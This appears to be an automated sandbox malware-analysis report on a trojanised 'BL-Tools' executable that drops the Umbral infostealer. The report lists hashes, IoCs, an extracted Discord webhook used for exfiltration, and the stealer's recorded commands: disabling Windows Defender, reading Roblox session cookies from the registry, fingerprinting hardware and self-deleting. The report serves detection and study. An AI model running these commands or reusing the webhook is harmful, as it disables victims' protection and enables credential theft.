Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
15-07-2024 05:53
Static task
static1
Behavioral task
behavioral1
Sample
BL-Tools-v2.8.3.exe
Resource
win7-20240708-en
General
-
Target
BL-Tools-v2.8.3.exe
-
Size
6.4MB
-
MD5
3488ad52666afe9800364a9c34f9725d
-
SHA1
3412ee1bb608e54b5c80c210432ca23c0c3dd766
-
SHA256
aa23463d85a070a894711f628356694599b8eeca33e3e3dc161f2ef765932235
-
SHA512
e5f42f9f71557720cb7072a37107be5224020dfa94a49a42a56107b0bd8be84aef28f9191705966861fdd6b7a50ff379c3fc36bd2f56e194142711fe9790d06a
-
SSDEEP
196608:cLzA2rwXK0ARSWsQPQJvCvHm9EVi9RZckSIJH:0HkKvwxQjHmuiTZckS
Malware Config
Extracted
umbral
https://discord.com/api/webhooks/1252474399957848134/ilQm28lxIOrQeOQaL1rqkItSyclk6EIc_o-hRhExVNFtMZ2xF_oiylm7nsP-jUa248ZH
Signatures
-
Detect Umbral payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\Umbral.exe family_umbral behavioral1/memory/2760-23-0x0000000000B20000-0x0000000000B60000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Drops file in Drivers directory 1 IoCs
Processes:
Umbral.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Executes dropped EXE 2 IoCs
Processes:
BLTools 2.8.4 FIX.exeUmbral.exepid process 2632 BLTools 2.8.4 FIX.exe 2760 Umbral.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 4 ip-api.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
BLTools 2.8.4 FIX.exepid process 2632 BLTools 2.8.4 FIX.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
Umbral.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2760 Umbral.exe 2572 powershell.exe 2424 powershell.exe 1420 powershell.exe 1700 powershell.exe 2200 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
BL-Tools-v2.8.3.exeUmbral.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 2232 BL-Tools-v2.8.3.exe Token: SeDebugPrivilege 2760 Umbral.exe Token: SeIncreaseQuotaPrivilege 2524 wmic.exe Token: SeSecurityPrivilege 2524 wmic.exe Token: SeTakeOwnershipPrivilege 2524 wmic.exe Token: SeLoadDriverPrivilege 2524 wmic.exe Token: SeSystemProfilePrivilege 2524 wmic.exe Token: SeSystemtimePrivilege 2524 wmic.exe Token: SeProfSingleProcessPrivilege 2524 wmic.exe Token: SeIncBasePriorityPrivilege 2524 wmic.exe Token: SeCreatePagefilePrivilege 2524 wmic.exe Token: SeBackupPrivilege 2524 wmic.exe Token: SeRestorePrivilege 2524 wmic.exe Token: SeShutdownPrivilege 2524 wmic.exe Token: SeDebugPrivilege 2524 wmic.exe Token: SeSystemEnvironmentPrivilege 2524 wmic.exe Token: SeRemoteShutdownPrivilege 2524 wmic.exe Token: SeUndockPrivilege 2524 wmic.exe Token: SeManageVolumePrivilege 2524 wmic.exe Token: 33 2524 wmic.exe Token: 34 2524 wmic.exe Token: 35 2524 wmic.exe Token: SeIncreaseQuotaPrivilege 2524 wmic.exe Token: SeSecurityPrivilege 2524 wmic.exe Token: SeTakeOwnershipPrivilege 2524 wmic.exe Token: SeLoadDriverPrivilege 2524 wmic.exe Token: SeSystemProfilePrivilege 2524 wmic.exe Token: SeSystemtimePrivilege 2524 wmic.exe Token: SeProfSingleProcessPrivilege 2524 wmic.exe Token: SeIncBasePriorityPrivilege 2524 wmic.exe Token: SeCreatePagefilePrivilege 2524 wmic.exe Token: SeBackupPrivilege 2524 wmic.exe Token: SeRestorePrivilege 2524 wmic.exe Token: SeShutdownPrivilege 2524 wmic.exe Token: SeDebugPrivilege 2524 wmic.exe Token: SeSystemEnvironmentPrivilege 2524 wmic.exe Token: SeRemoteShutdownPrivilege 2524 wmic.exe Token: SeUndockPrivilege 2524 wmic.exe Token: SeManageVolumePrivilege 2524 wmic.exe Token: 33 2524 wmic.exe Token: 34 2524 wmic.exe Token: 35 2524 wmic.exe Token: SeDebugPrivilege 2572 powershell.exe Token: SeDebugPrivilege 2424 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeDebugPrivilege 1700 powershell.exe Token: SeIncreaseQuotaPrivilege 1220 wmic.exe Token: SeSecurityPrivilege 1220 wmic.exe Token: SeTakeOwnershipPrivilege 1220 wmic.exe Token: SeLoadDriverPrivilege 1220 wmic.exe Token: SeSystemProfilePrivilege 1220 wmic.exe Token: SeSystemtimePrivilege 1220 wmic.exe Token: SeProfSingleProcessPrivilege 1220 wmic.exe Token: SeIncBasePriorityPrivilege 1220 wmic.exe Token: SeCreatePagefilePrivilege 1220 wmic.exe Token: SeBackupPrivilege 1220 wmic.exe Token: SeRestorePrivilege 1220 wmic.exe Token: SeShutdownPrivilege 1220 wmic.exe Token: SeDebugPrivilege 1220 wmic.exe Token: SeSystemEnvironmentPrivilege 1220 wmic.exe Token: SeRemoteShutdownPrivilege 1220 wmic.exe Token: SeUndockPrivilege 1220 wmic.exe Token: SeManageVolumePrivilege 1220 wmic.exe Token: 33 1220 wmic.exe -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
BL-Tools-v2.8.3.exeUmbral.execmd.exedescription pid process target process PID 2232 wrote to memory of 2632 2232 BL-Tools-v2.8.3.exe BLTools 2.8.4 FIX.exe PID 2232 wrote to memory of 2632 2232 BL-Tools-v2.8.3.exe BLTools 2.8.4 FIX.exe PID 2232 wrote to memory of 2632 2232 BL-Tools-v2.8.3.exe BLTools 2.8.4 FIX.exe PID 2232 wrote to memory of 2632 2232 BL-Tools-v2.8.3.exe BLTools 2.8.4 FIX.exe PID 2232 wrote to memory of 2760 2232 BL-Tools-v2.8.3.exe Umbral.exe PID 2232 wrote to memory of 2760 2232 BL-Tools-v2.8.3.exe Umbral.exe PID 2232 wrote to memory of 2760 2232 BL-Tools-v2.8.3.exe Umbral.exe PID 2760 wrote to memory of 2524 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 2524 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 2524 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 2644 2760 Umbral.exe attrib.exe PID 2760 wrote to memory of 2644 2760 Umbral.exe attrib.exe PID 2760 wrote to memory of 2644 2760 Umbral.exe attrib.exe PID 2760 wrote to memory of 2572 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 2572 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 2572 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 2424 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 2424 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 2424 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 1420 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 1420 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 1420 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 1700 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 1700 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 1700 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 1220 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 1220 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 1220 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 2140 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 2140 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 2140 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 444 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 444 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 444 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 2200 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 2200 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 2200 2760 Umbral.exe powershell.exe PID 2760 wrote to memory of 1940 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 1940 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 1940 2760 Umbral.exe wmic.exe PID 2760 wrote to memory of 1392 2760 Umbral.exe cmd.exe PID 2760 wrote to memory of 1392 2760 Umbral.exe cmd.exe PID 2760 wrote to memory of 1392 2760 Umbral.exe cmd.exe PID 1392 wrote to memory of 1464 1392 cmd.exe PING.EXE PID 1392 wrote to memory of 1464 1392 cmd.exe PING.EXE PID 1392 wrote to memory of 1464 1392 cmd.exe PING.EXE -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\BL-Tools-v2.8.3.exe"C:\Users\Admin\AppData\Local\Temp\BL-Tools-v2.8.3.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exe"C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2632 -
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2524 -
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"3⤵
- Views/modifies file attributes
PID:2644 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2572 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1420 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1700 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1220 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵PID:2140
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:444
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2200 -
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:1940 -
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause3⤵
- Suspicious use of WriteProcessMemory
PID:1392 -
C:\Windows\system32\PING.EXEping localhost4⤵
- Runs ping.exe
PID:1464
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exeFilesize
3.1MB
MD5fe611814d50bd962d1d85e3fb7425ff8
SHA125ca8e5f48d694d4f715bf5a299062f4a979aefd
SHA256747072a4094dd0004d84abd221863ca2db676853c5ca27dd9b962650790a6472
SHA512a7a8dad9e6fdfd515203d6165fd9a89902c9d82adaa4bd24992a6e991501317bafaa3066ebbae17ecf0223e7a25aacc098c3449fa7533529c2eba79acf85ef14
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exeFilesize
229KB
MD54a2673a8ceb3c0afb830cb145d1bb9fe
SHA18b12f4955e53b2fdb150cf29aa9fc01e8937c14e
SHA2564cb6bb75074c44c2a773918ae253e711c364d17519f903e3bcb6c4c50747f279
SHA5124b41674a2a691b0b5cf80e3768ca8add7971fc94b812c06c102be3075bfcb859a62fb11bd87880d05239f03e09bb3d627e26d4eebc9f97a83139b62b04304f77
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5f6a1a8b89b8343977031a1f54b2d9766
SHA192854fe6eba75bf9197cdae201aeb26e03b3e139
SHA256231e9df8a2d5ec1091743b976e7b4ef894baa3fe0ca908c32a5e8614a4d7cc56
SHA512b6793737f20c2d6794206704ff88acb1f0099918e57d1ce6c8313c8fdf4d602f7e7a5770cdb022e2955c3d9473ca1d79512b5542804f8da68eb6940220dca3e6
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/2200-68-0x0000000001E60000-0x0000000001E68000-memory.dmpFilesize
32KB
-
memory/2232-0-0x000007FEF5853000-0x000007FEF5854000-memory.dmpFilesize
4KB
-
memory/2232-24-0x000007FEF5850000-0x000007FEF623C000-memory.dmpFilesize
9.9MB
-
memory/2232-2-0x000007FEF5850000-0x000007FEF623C000-memory.dmpFilesize
9.9MB
-
memory/2232-1-0x0000000000CD0000-0x000000000133E000-memory.dmpFilesize
6.4MB
-
memory/2424-39-0x000000001B550000-0x000000001B832000-memory.dmpFilesize
2.9MB
-
memory/2424-40-0x0000000002850000-0x0000000002858000-memory.dmpFilesize
32KB
-
memory/2572-32-0x000000001B770000-0x000000001BA52000-memory.dmpFilesize
2.9MB
-
memory/2572-33-0x0000000002770000-0x0000000002778000-memory.dmpFilesize
32KB
-
memory/2632-26-0x0000000000290000-0x00000000009B0000-memory.dmpFilesize
7.1MB
-
memory/2632-27-0x0000000000A50000-0x0000000000A51000-memory.dmpFilesize
4KB
-
memory/2760-23-0x0000000000B20000-0x0000000000B60000-memory.dmpFilesize
256KB
-
memory/2760-25-0x000007FEF5850000-0x000007FEF623C000-memory.dmpFilesize
9.9MB
-
memory/2760-72-0x000007FEF5850000-0x000007FEF623C000-memory.dmpFilesize
9.9MB